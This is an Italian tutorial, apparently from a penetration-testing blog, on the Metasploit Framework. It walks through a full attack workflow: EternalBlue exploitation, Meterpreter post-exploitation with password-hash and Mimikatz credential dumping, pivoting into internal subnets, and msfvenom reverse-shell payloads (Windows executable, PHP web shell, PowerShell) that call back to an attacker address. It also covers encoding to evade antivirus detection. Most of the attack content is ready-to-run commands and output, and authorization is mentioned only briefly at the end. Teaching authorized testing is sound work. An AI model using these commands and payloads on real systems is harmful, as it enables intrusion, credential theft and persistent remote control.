tools

Metasploit Framework: Exploitation, Payload e Post-Exploitation Completi

Metasploit Framework: Exploitation, Payload e Post-Exploitation Completi

Metasploit Framework è la piattaforma di penetration testing più usata per exploit, payload e post-exploitation. Guida operativa per workflow offensivo completo.

  • Pubblicato il 2026-02-17
  • Tempo di lettura: 5 min

Metasploit Framework è la piattaforma di exploitation più utilizzata dai penetration tester professionisti. Con oltre 2000 exploit e centinaia di payload, Metasploit trasforma vulnerabilità note in accesso concreto ai sistemi target. In questa guida impari a usare Metasploit dall’identificazione delle vulnerabilità alla post-exploitation completa, passando per generazione payload e tecniche di pivoting.

Cos’è Metasploit Framework #

Metasploit è un framework modulare che integra tutto il necessario per condurre attacchi: scanner per identificare vulnerabilità, exploit per sfruttarle, payload per stabilire connessioni, e moduli post-exploitation per consolidare l’accesso. La sua forza sta nell’ecosistema integrato che permette di passare dalla ricognizione al controllo totale del target senza uscire dall’ambiente.

Il framework è mantenuto da Rapid7 e disponibile in versione open source (Framework) e commerciale (Pro). Per il penetration testing, la versione Framework offre tutte le funzionalità necessarie.

Installazione e Setup #

Su Kali Linux Metasploit è preinstallato. Verifica e aggiorna:

bash
msfconsole -v
sudo apt update && sudo apt install metasploit-framework -y

Per altre distribuzioni, l’installer ufficiale semplifica il processo:

bash
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstall

Configurazione Database #

Metasploit utilizza PostgreSQL per memorizzare host, servizi, credenziali e loot. Il database è fondamentale per gestire engagement complessi:

bash
sudo systemctl start postgresql
sudo msfdb init

Verifica la connessione all’avvio di msfconsole:

bash
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

L’interfaccia di Metasploit segue una logica coerente. Impara questi comandi e navigherai fluidamente in tutto il framework:

ComandoFunzione
searchCerca moduli per keyword, CVE, piattaforma
useSeleziona un modulo
infoMostra dettagli del modulo corrente
show optionsVisualizza parametri configurabili
setImposta un parametro
run / exploitEsegue il modulo
backTorna al prompt principale
sessionsGestisce sessioni attive

La ricerca è potente e supporta filtri multipli:

bash
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017-0144
msf6 > search name:eternalblue

Il Primo Exploit: EternalBlue #

Per comprendere il workflow Metasploit, eseguiamo un attacco completo contro una macchina Windows vulnerabile a MS17-010 (EternalBlue).

Cerca e seleziona l’exploit:

bash
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblue

Visualizza le opzioni richieste:

bash
msf6 exploit(ms17_010_eternalblue) > show options

Configura target e payload:

bash
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444

Lancia l’attacco:

bash
msf6 exploit(ms17_010_eternalblue) > exploit

Se il target è vulnerabile, otterrai una sessione Meterpreter:

text
[*] Sending stage (200774 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49158)
meterpreter >

Moduli Auxiliary per Ricognizione #

Prima di exploitare, i moduli auxiliary permettono di enumerare servizi e identificare vulnerabilità. Integrano perfettamente con nmap per una ricognizione completa.

Scan di versione SMB su subnet:

bash
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 50
msf6 auxiliary(smb_version) > run

Check vulnerabilità MS17-010:

bash
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > run

L’output evidenzia host vulnerabili, pronti per l’exploitation.

Meterpreter: Post-Exploitation #

Meterpreter è il payload avanzato di Metasploit. Opera interamente in memoria, evitando di scrivere su disco, e offre funzionalità estese per la post-exploitation.

Comandi essenziali una volta ottenuta la shell:

bash
meterpreter > sysinfo          # Info sistema
meterpreter > getuid           # Utente corrente
meterpreter > getsystem        # Tenta privilege escalation
meterpreter > hashdump         # Dump hash SAM
meterpreter > download file    # Scarica file
meterpreter > upload file      # Carica file
meterpreter > shell            # Shell nativa

Privilege Escalation Automatica #

Se non sei SYSTEM, Meterpreter può tentare escalation automatica:

bash
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation)

Se fallisce, usa il suggester per trovare exploit locali:

bash
meterpreter > run post/multi/recon/local_exploit_suggester

Questo analizza il sistema e lista exploit applicabili con relativa probabilità di successo.

Credential Harvesting #

Il dumping delle credenziali è cruciale per il lateral movement:

bash
meterpreter > hashdump
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Per credenziali in chiaro, carica Mimikatz integrato:

bash
meterpreter > load kiwi
meterpreter > creds_all

Pivoting: Raggiungere Reti Interne #

Quando comprometti un host con accesso a reti interne non raggiungibili direttamente, Metasploit permette di usarlo come pivot point.

Aggiungi una route attraverso la sessione:

bash
msf6 > sessions -l
msf6 > route add 10.10.10.0/24 1

Ora puoi attaccare la subnet 10.10.10.0/24 attraverso la sessione 1. Tutti i moduli Metasploit useranno automaticamente questa route.

Per strumenti esterni, configura un proxy SOCKS:

bash
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -j

Configura proxychains (/etc/proxychains4.conf) per usare il proxy e lancia tool esterni attraverso la rete pivotata.

Generazione Payload con msfvenom #

msfvenom genera payload standalone per scenari dove l’exploit diretto non è possibile. Utile per phishing, USB drop, o quando hai già un vettore di esecuzione.

Payload Windows exe:

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

Payload per web shell PHP:

bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

PowerShell in-memory (fileless):

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh-cmd

Per evitare detection, combina con encoding:

bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exe

Ricorda: i payload stock sono heavily signatured. Per engagement reali, considera tecniche di evasion avanzate.

Gestione Sessioni e Workspace #

Durante un penetration test gestisci molte sessioni. Metasploit offre strumenti per organizzarle:

bash
msf6 > sessions -l                    # Lista sessioni
msf6 > sessions -i 1                  # Interagisci con sessione 1
msf6 > sessions -k 1                  # Termina sessione 1
msf6 > sessions -K                    # Termina tutte

I workspace separano engagement diversi:

bash
msf6 > workspace                      # Lista workspace
msf6 > workspace -a client_name       # Crea nuovo
msf6 > workspace client_name          # Seleziona

Importa risultati da nmap per popolare il database:

bash
msf6 > db_import /path/to/nmap_scan.xml
msf6 > hosts                          # Visualizza host importati
msf6 > services                       # Visualizza servizi

Scenari Pratici #

Scenario 1: Compromissione Rete Corporate #

Workflow completo per un engagement interno:

  1. Scan rete con db_nmap integrato
  2. Identifica host vulnerabili con auxiliary scanner
  3. Exploit della vulnerabilità più critica
  4. Privilege escalation a SYSTEM
  5. Credential dump con Mimikatz
  6. Lateral movement verso Domain Controller
  7. Persistenza e documentazione

Scenario 2: Web Application to Shell #

Quando hai una vulnerabilità web (RCE, file upload):

  1. Genera payload PHP con msfvenom
  2. Upload tramite vulnerabilità
  3. Configura handler in Metasploit
  4. Triggera il payload visitando la URL
  5. Post-exploitation standard

Handler per ricevere connessioni:

bash
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 0.0.0.0
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j

Troubleshooting #

“Exploit completed, but no session was created”: il payload non riesce a connettersi. Verifica che LHOST sia raggiungibile dal target, controlla firewall locale, prova payload diversi (staged vs stageless).

Handler non riceve connessioni: verifica che la porta sia aperta (sudo ufw allow 4444/tcp), che LHOST sia corretto (usa 0.0.0.0 per tutti gli IP), che il target possa raggiungere il tuo IP.

Database non connesso: riavvia PostgreSQL e reinizializza con msfdb reinit.

FAQ #

Metasploit vs exploit manuali?

Metasploit accelera il workflow ma gli exploit potrebbero essere meno aggiornati di quelli su Exploit-DB. Per CVE recenti, verifica sempre la data del modulo.

Come aggiorno i moduli?

msfupdate aggiorna tutto il framework. Per moduli community più recenti, copia i file .rb in ~/.msf4/modules/.

Meterpreter viene rilevato dagli AV?

I payload standard sono signatured. Per evasion usa encoding, payload custom, o framework dedicati come Veil.

È legale usare Metasploit?

Solo su sistemi autorizzati. Per penetration test professionali, hackita.it/servizi offre engagement completi.


Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

Risorse: Metasploit Docs | Rapid7 GitHub

#payload-generation #post-exploitation

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.